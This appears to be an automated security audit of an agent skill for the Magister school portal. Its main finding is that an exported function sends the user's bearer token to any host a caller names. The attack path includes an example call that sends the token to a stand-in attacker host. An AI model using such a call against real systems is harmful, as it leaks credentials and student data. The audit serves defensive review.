Back to skill

Security audit

magister.net

Security checks for vulnerabilities and agentic risk

Overview

This skill largely matches its stated Magister school-portal purpose, but it uses student-account credentials and has a real token-handling weakness that deserves review before installation.

Review this skill before installing. It is not trying to persist or broadly modify the system, but it handles school account credentials and sensitive student data. Only run it with credentials you are authorized to use, and the publisher should remove or validate the apiGet host override so tokens cannot be sent to non-Magister domains.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (1)

T09 ยท Insecure Skill Coding Practices

Warning
Location
magister.mjs:112
Finding

Bearer Token Disclosure Through Unrestricted API Host Override

Content
View full analysis

Vulnerability Details

File Location: magister.mjs, lines 112โ€“115
Vulnerability Type: Unrestricted transmission of an OAuth bearer token to a caller-controlled host
Risk Level: Medium

Vulnerable Code

js
export async function apiGet(path, host = HOST) {
  const token = await getToken();
  const url   = `https://${host}${path}`;
  const r     = await fetch(url, { headers: { Authorization: `Bearer ${token}` } });

Technical Analysis

The exported apiGet function obtains a valid Magister access token and attaches it to a request sent to the supplied host. Although the direct CLI entry point validates MAGISTER_HOST against magister.net at lines 23โ€“26, that validation only executes when the module is run directly. It does not protect exported functions when the module is imported.

Consequently, an importing caller that controls the host argument can direct the authenticated request to an arbitrary HTTPS server. The host override is unnecessary for the declared CLI functionality and exceeds the minimum flexibility required to communicate with the configured Magister tenant.

Credential transmission to accounts.magister.net during authentication is consistent with the declared functionality. Likewise, sending the bearer token to a validated Magister tenant is necessary. The vulnerability is specifically the absence of destination validation at the authenticated request boundary.

Attack Path

  1. A malicious or compromised local component imports apiGet while valid MAGISTER_HOST, MAGISTER_USER, and MAGISTER_PASSWORD environment variables are available.

  2. It invokes the function with an attacker-controlled destination, for example:

    js
    await apiGet('/collect', 'attacker.example');
    
  3. apiGet calls getToken(), which authenticates to Magister and returns a valid OAuth access token.

  4. The function constructs https://attacker.example/collect.

  5. It sends the Magister token to that server in the ...[truncated 856 chars]

Remediation
View remediation

Remediation Suggestions

  1. Remove the caller-supplied host parameter from apiGet and always use the previously validated configured tenant:

    js
    export async function apiGet(path) {
      const token = await getToken();
      const url = new URL(path, `https://${HOST}`);
      const r = await fetch(url, {
        headers: { Authorization: `Bearer ${token}` },
      });
      if (!r.ok) throw new Error(`HTTP ${r.status} for ${url}`);
      return r.json();
    }
    
  2. Move hostname validation into a reusable function and apply it inside every exported function that accepts or derives a destination. Do not rely only on CLI-entry-point validation.

  3. Parse destinations with URL rather than constructing them through string concatenation. Require:

    • https: as the protocol;
    • no embedded username or password;
    • the expected default HTTPS port;
    • an exact approved tenant hostname or a strict hostname match for magister.net;
    • no hostname suffix tricks such as school.magister.net.attacker.example.
  4. Before attaching an Authorization header, compare the final parsed request origin against the approved Magister tenant origin. Reject redirects for authenticated API requests unless each redirect destination is independently allowlisted.

  5. Consider binding token acquisition and API access to the same validated tenant so a token cannot be acquired for one context and sent to another.

  6. Add regression tests confirming that arbitrary domains, deceptive suffixes, embedded credentials, alternate ports, and malformed hosts are rejected before authentication credentials or bearer tokens are transmitted.

Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
Findings (6)

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
95% confidence
Finding

The skill requires environment-provided credentials and network access to a third-party student portal, but it does not declare any explicit tool scope or permission boundaries. That makes the skill's effective capabilities opaque to users and reviewers, increasing the risk of overbroad execution, unexpected data access, and unsafe handling of sensitive educational records.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
93% confidence
Finding

The skill description and usage guidance do not warn that it consumes portal credentials and accesses sensitive student information such as schedules, grades, and infractions. In this context, omission of a privacy and credential-use warning can mislead users into invoking the skill without understanding that protected educational data and account secrets are involved.

Content

No source excerpt is available for this finding.

Context-Inappropriate Capability

Medium
Category
Not specified by scanner
Confidence
96% confidence
Finding

The manifest says the skill fetches schedule, grades, and infractions from the Magister portal, which justifies network access to that service. However, this file also directly reads username and password from process environment variables, introducing local secret-access capability that is not stated in the skill purpose and is not inherently implied by merely 'fetching' portal data.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
92% confidence
Finding

The code hard-codes Swedish locale formatting ('sv') and the Europe/Amsterdam timezone when rendering dates. This is a natural-language/locale policy issue because users are not given a choice or explanation for why output is forced into a specific locale.

Content

No source excerpt is available for this finding.

Missing User Warnings

Low
Category
Not specified by scanner
Confidence
78% confidence
Finding

This code accesses MAGISTER_USER and MAGISTER_PASSWORD from environment variables, which is a sensitive credential-handling operation. While the header documents which variables to set, it does not warn that the skill will read and use stored credentials to authenticate against a remote service.

Content

No source excerpt is available for this finding.

Missing User Warnings

Low
Category
Not specified by scanner
Confidence
84% confidence
Finding

The script performs remote authentication requests to accounts.magister.net and subsequently sends authenticated API requests to the configured host. Although this is functionally central to the tool, the file lacks an explicit warning that credentials and account-related data will be transmitted over the network.

Content

No source excerpt is available for this finding.